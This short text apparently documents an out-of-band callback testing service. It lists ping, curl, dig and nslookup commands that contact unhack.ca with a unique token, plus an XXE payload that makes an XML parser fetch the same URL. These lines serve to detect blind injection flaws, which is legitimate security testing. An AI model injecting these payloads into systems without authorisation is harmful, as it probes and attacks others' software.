$ ping -c1 -p 00a7b78fce5f9d1fbd39855b665a4300 unhack.ca
 

$ curl http://unhack.ca/p/a7b78fce5f9d1fbd39855b665a43
 

$ dig a7b78fce5f9d1fbd39855b665a43 @unhack.ca
 

$ dig a7b78fce5f9d1fbd39855b665a43.ns.unhack.ca
 

C:\> nslookup a7b78fce5f9d1fbd39855b665a43 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/a7b78fce5f9d1fbd39855b665a43">]>
    <foo>&xxe;</foo>